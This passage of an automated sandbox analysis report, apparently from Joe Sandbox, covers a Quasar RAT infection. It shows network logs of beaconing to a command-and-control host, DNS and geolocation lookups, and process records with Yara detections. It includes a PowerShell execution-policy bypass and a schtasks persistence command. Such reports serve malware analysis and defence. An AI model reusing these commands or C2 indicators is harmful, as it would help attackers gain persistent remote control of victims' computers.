                                                            Dec 18, 2024 10:20:26.137393951 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.137497902 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.137538910 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:26.145709991 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.145854950 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.145894051 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:26.154365063 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.154457092 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.154495955 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:26.162544966 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.162615061 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.162656069 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:26.170908928 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:26.337990046 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:30.564353943 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:30.684176922 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:35.579741001 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:35.699508905 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:40.595838070 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:40.715698004 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:45.616467953 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:45.736159086 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:50.626322031 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:50.746452093 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:20:55.649138927 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:20:55.768802881 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:21:00.665501118 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:21:00.785382986 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:21:05.676438093 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:21:05.796246052 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:21:10.691360950 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:21:10.810924053 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:21:15.705671072 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:21:15.825833082 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:21:20.729646921 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:21:20.849284887 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:21:25.739106894 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:21:25.858836889 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:21:30.758064985 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:21:30.877675056 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:21:35.775187016 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:21:35.894742012 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:21:40.789113045 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:21:40.909106970 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:21:43.779654980 CET8049730208.95.112.1192.168.2.4
                                                            Dec 18, 2024 10:21:43.780966997 CET4973080192.168.2.4208.95.112.1
                                                            Dec 18, 2024 10:21:45.802661896 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:21:45.922472000 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:21:50.818336010 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:21:50.938759089 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:21:55.834209919 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:21:55.954224110 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:22:00.308197975 CET4973080192.168.2.4208.95.112.1
                                                            Dec 18, 2024 10:22:00.428735971 CET8049730208.95.112.1192.168.2.4
                                                            Dec 18, 2024 10:22:00.858460903 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:22:00.978595018 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:22:05.865145922 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:22:05.984819889 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:22:10.878418922 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:22:10.997993946 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:22:15.894342899 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:22:16.014091969 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:22:20.912269115 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:22:21.096800089 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:22:25.930140018 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:22:26.050865889 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:22:31.151093960 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:22:31.270586014 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:22:36.160660028 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:22:36.280659914 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:22:41.174117088 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:22:41.293912888 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:22:46.191596985 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:22:46.311305046 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:22:51.212507010 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:22:51.334259987 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:22:56.223000050 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:22:56.342591047 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:23:01.239537001 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:23:01.359170914 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:23:06.253077030 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:23:06.373157978 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:23:11.274023056 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:23:11.393932104 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:23:16.285458088 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:23:16.404958963 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:23:21.302800894 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:23:21.422894001 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:23:26.317137003 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:23:26.437336922 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:23:31.334860086 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:23:31.455054045 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:23:36.349684954 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:23:36.469454050 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:23:41.364690065 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:23:41.484724998 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:23:46.382776022 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:23:46.502351999 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:23:51.393322945 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:23:51.513000011 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:23:56.410948038 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:23:56.530579090 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:24:01.423405886 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:24:01.543215990 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:24:06.443502903 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:24:06.563308001 CET11774973166.225.254.246192.168.2.4
                                                            Dec 18, 2024 10:24:11.462975025 CET497311177192.168.2.466.225.254.246
                                                            Dec 18, 2024 10:24:11.582648993 CET11774973166.225.254.246192.168.2.4

                                                            UDP Packets

                                                            TimestampSource PortDest PortSource IPDest IP
                                                            Dec 18, 2024 10:20:18.929935932 CET6413453192.168.2.41.1.1.1
                                                            Dec 18, 2024 10:20:19.068504095 CET53641341.1.1.1192.168.2.4
                                                            Dec 18, 2024 10:20:20.496917009 CET6277553192.168.2.41.1.1.1
                                                            Dec 18, 2024 10:20:20.816068888 CET53627751.1.1.1192.168.2.4

                                                            DNS Queries

                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                            Dec 18, 2024 10:20:18.929935932 CET192.168.2.41.1.1.10xef03Standard query (0)ip-api.comA (IP address)IN (0x0001)false
                                                            Dec 18, 2024 10:20:20.496917009 CET192.168.2.41.1.1.10x268fStandard query (0)feature-ssa.mywire.orgA (IP address)IN (0x0001)false

                                                            DNS Answers

                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                            Dec 18, 2024 10:20:19.068504095 CET1.1.1.1192.168.2.40xef03No error (0)ip-api.com208.95.112.1A (IP address)IN (0x0001)false
                                                            Dec 18, 2024 10:20:20.816068888 CET1.1.1.1192.168.2.40x268fNo error (0)feature-ssa.mywire.org66.225.254.246A (IP address)IN (0x0001)false

                                                            HTTP Request Dependency Graph

                                                            • ip-api.com

                                                            HTTP Packets

                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            0192.168.2.449730208.95.112.1807564C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                            TimestampBytes transferredDirectionData
                                                            Dec 18, 2024 10:20:19.202399969 CET144OUTGET /json/ HTTP/1.1
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0
                                                            Host: ip-api.com
                                                            Connection: Keep-Alive
                                                            Dec 18, 2024 10:20:20.297431946 CET483INHTTP/1.1 200 OK
                                                            Date: Wed, 18 Dec 2024 09:20:19 GMT
                                                            Content-Type: application/json; charset=utf-8
                                                            Content-Length: 306
                                                            Access-Control-Allow-Origin: *
                                                            X-Ttl: 60
                                                            X-Rl: 44
                                                            Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 7a 69 70 22 3a 22 31 30 31 32 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 6c 20 33 22 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d
                                                            Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NY","regionName":"New York","city":"New York","zip":"10123","lat":40.7128,"lon":-74.006,"timezone":"America/New_York","isp":"Level 3","org":"CenturyLink Communications, LLC","as":"AS3356 Level 3 Parent, LLC","query":"8.46.123.189"}


                                                            Statistics

                                                            CPU Usage

                                                            Click to jump to process

                                                            Memory Usage

                                                            Click to jump to process

                                                            High Level Behavior Distribution

                                                            Click to dive into process behavior distribution

                                                            Behavior

                                                            Click to jump to process

                                                            System Behavior

                                                            General

                                                            Target ID:0
                                                            Start time:04:20:07
                                                            Start date:18/12/2024
                                                            Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\x.ps1"
                                                            Imagebase:0x7ff788560000
                                                            File size:452'608 bytes
                                                            MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:1
                                                            Start time:04:20:07
                                                            Start date:18/12/2024
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff7699e0000
                                                            File size:862'208 bytes
                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:2
                                                            Start time:04:20:11
                                                            Start date:18/12/2024
                                                            Path:C:\Users\Public\Documents\AutoHotkey64.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Users\Public\Documents\AutoHotkey64.exe"
                                                            Imagebase:0x140000000
                                                            File size:1'319'936 bytes
                                                            MD5 hash:2D0600FE2B1B3BDC45D833CA32A37FDB
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Antivirus matches:
                                                            • Detection: 3%, ReversingLabs
                                                            Reputation:low
                                                            Has exited:true

                                                            General

                                                            Target ID:3
                                                            Start time:04:20:11
                                                            Start date:18/12/2024
                                                            Path:C:\Windows\System32\schtasks.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Windows\system32\schtasks.exe" /create /tn 3losh /tr C:\Users\Public\Documents\AutoHotkey64.exe /sc minute /mo 2 /st 04:23 /f
                                                            Imagebase:0x7ff76f990000
                                                            File size:235'008 bytes
                                                            MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:4
                                                            Start time:04:20:12
                                                            Start date:18/12/2024
                                                            Path:C:\Users\Public\Documents\AutoHotkey64.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Users\Public\Documents\AutoHotkey64.exe
                                                            Imagebase:0x140000000
                                                            File size:1'319'936 bytes
                                                            MD5 hash:2D0600FE2B1B3BDC45D833CA32A37FDB
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Reputation:low
                                                            Has exited:true

                                                            General

                                                            Target ID:5
                                                            Start time:04:20:15
                                                            Start date:18/12/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                            Imagebase:0x1b0000
                                                            File size:43'008 bytes
                                                            MD5 hash:9827FF3CDF4B83F9C86354606736CA9C
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:moderate
                                                            Has exited:true

                                                            General

                                                            Target ID:6
                                                            Start time:04:20:15
                                                            Start date:18/12/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                            Imagebase:0x460000
                                                            File size:43'008 bytes
                                                            MD5 hash:9827FF3CDF4B83F9C86354606736CA9C
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000006.00000002.4213601750.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            Reputation:moderate
                                                            Has exited:false

                                                            General

                                                            Target ID:7
                                                            Start time:04:20:15
                                                            Start date:18/12/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                            Imagebase:0xf30000
                                                            File size:43'008 bytes
                                                            MD5 hash:9827FF3CDF4B83F9C86354606736CA9C
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000007.00000002.1846910881.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                            • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000007.00000002.1854587486.00000000033D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            Reputation:moderate
                                                            Has exited:true

                                                            General

                                                            Target ID:8
                                                            Start time:04:20:15
                                                            Start date:18/12/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                            Imagebase:0x3e0000
                                                            File size:43'008 bytes
                                                            MD5 hash:9827FF3CDF4B83F9C86354606736CA9C
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:moderate
                                                            Has exited:true

                                                            General

                                                            Target ID:9
                                                            Start time:04:20:15
                                                            Start date:18/12/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                            Imagebase:0xa10000
                                                            File size:43'008 bytes
                                                            MD5 hash:9827FF3CDF4B83F9C86354606736CA9C
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000009.00000002.1855061423.0000000002C9B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            Has exited:true

                                                            General

                                                            Target ID:10
                                                            Start time:04:20:21
                                                            Start date:18/12/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                            Imagebase:0x10000
                                                            File size:43'008 bytes
                                                            MD5 hash:9827FF3CDF4B83F9C86354606736CA9C
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000A.00000002.1927403521.000000000231B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            Has exited:true

                                                            General

                                                            Target ID:11
                                                            Start time:04:20:21
                                                            Start date:18/12/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                            Imagebase:0x430000
                                                            File size:43'008 bytes
                                                            MD5 hash:9827FF3CDF4B83F9C86354606736CA9C
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000B.00000002.1930172049.000000000276B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            Has exited:true

                                                            General

                                                            Target ID:12
                                                            Start time:04:20:21
                                                            Start date:18/12/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                            Imagebase:0x560000
                                                            File size:43'008 bytes
                                                            MD5 hash:9827FF3CDF4B83F9C86354606736CA9C
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000C.00000002.1927919605.000000000273B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            Has exited:true

                                                            General

                                                            Target ID:13
                                                            Start time:04:20:21
                                                            Start date:18/12/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                            Imagebase:0x450000
                                                            File size:43'008 bytes
                                                            MD5 hash:9827FF3CDF4B83F9C86354606736CA9C
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000D.00000002.1930008150.000000000270B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            Has exited:true

                                                            General

                                                            Target ID:14
                                                            Start time:04:20:22
                                                            Start date:18/12/2024
                                                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                                                            Imagebase:0x160000
                                                            File size:43'008 bytes
                                                            MD5 hash:9827FF3CDF4B83F9C86354606736CA9C
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Has exited:true

                                                            General

                                                            Target ID:19
                                                            Start time:04:23:00
                                                            Start date:18/12/2024
                                                            Path:C:\Users\Public\Documents\AutoHotkey64.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Users\Public\Documents\AutoHotkey64.exe
                                                            Imagebase:0x140000000
                                                            File size:1'319'936 bytes
                                                            MD5 hash:2D0600FE2B1B3BDC45D833CA32A37FDB
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Has exited:false

                                                            Disassembly

                                                            Reset < >

                                                              Executed Functions

                                                              Function 00007FFD9B89CC38 Relevance: 1.6, Strings: 1, Instructions: 382COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1865297609.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ffd9b890000_powershell.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: VM_H
                                                              • API String ID: 0-4064549320
                                                              • Opcode ID: a226bdfc1e13466355e8568cac4e1b37fb64d7d8d9d8741227ce77f51b8ffefd
                                                              • Instruction ID: c1d115cad8c175576b8d9019d2f0d9030de154740a1e34250ee1af4b6fd9a1bb
                                                              • Opcode Fuzzy Hash: a226bdfc1e13466355e8568cac4e1b37fb64d7d8d9d8741227ce77f51b8ffefd
                                                              • Instruction Fuzzy Hash: E3B16A22B1DA5A4FEB59F72CA8655E6BB91EF9531470502FBD04EC31D7ED25B8038380
                                                              Function 00007FFD9B89CCE3 Relevance: 1.6, Strings: 1, Instructions: 331COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1865297609.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ffd9b890000_powershell.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: VM_H
                                                              • API String ID: 0-4064549320
                                                              • Opcode ID: 4d5ed5811a439538c06ee5ceb1c0dbaac1c2186a79f3d8c6ca1fdda9b84c3d11
                                                              • Instruction ID: a3573512d3c145b03c661550648bd091c7a37fe77a865667264328187d36c28e
                                                              • Opcode Fuzzy Hash: 4d5ed5811a439538c06ee5ceb1c0dbaac1c2186a79f3d8c6ca1fdda9b84c3d11
                                                              • Instruction Fuzzy Hash: 16914B2271EE4D0FDB5DE72C98655E6BB91EF99250B0542FBD04AC31D7ED25B8038380
                                                              Function 00007FFD9B960098 Relevance: .5, Instructions: 537COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1867580461.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ffd9b960000_powershell.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 0ceebf8611c5742d390d54627ded75c3c8501a6f68bce37a773a8d9783541a1c
                                                              • Instruction ID: 5cf35037172b4ee30cecceaa51cb4ecadd70d9a5c742ae57b87a35aa9742ffbb
                                                              • Opcode Fuzzy Hash: 0ceebf8611c5742d390d54627ded75c3c8501a6f68bce37a773a8d9783541a1c
                                                              • Instruction Fuzzy Hash: 38F13732B1EB895FE7A5DB6848E46747BE1EF95620B0A01BBD04DC71E7DE18AC06C341
                                                              Function 00007FFD9B961719 Relevance: .5, Instructions: 463COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1867580461.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ffd9b960000_powershell.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: f5502e0e42da948c2db314390b60d6c77b1b09fedd0b0978bfac1b5801a12521
                                                              • Instruction ID: ed9624d0be8a7fda2eb457f602efcff6f51705ca50d9bc7de7705c12857baac2
                                                              • Opcode Fuzzy Hash: f5502e0e42da948c2db314390b60d6c77b1b09fedd0b0978bfac1b5801a12521
                                                              • Instruction Fuzzy Hash: 17E17632B1EA9E5FE7A5DB6C58606B837E1EF55318B1901BBD05DC71E3DE28AC018341
                                                              Function 00007FFD9B96295A Relevance: .4, Instructions: 450COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1867580461.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ffd9b960000_powershell.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: cfca838c99aa171696fbe1fd927b84b1a83f041b61c2ca93e108360925de66c4
                                                              • Instruction ID: 9c7673643ffc531614dc146e1c884d4646200db444d8950612ef06309710d1b4
                                                              • Opcode Fuzzy Hash: cfca838c99aa171696fbe1fd927b84b1a83f041b61c2ca93e108360925de66c4
                                                              • Instruction Fuzzy Hash: 5DD10622B1EBC95FE7769BBC58655743BE1EF92210B0A01FFD489C71E3E919AC058342
                                                              Function 00007FFD9B8B5E10 Relevance: .3, Instructions: 253COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1865297609.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ffd9b890000_powershell.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
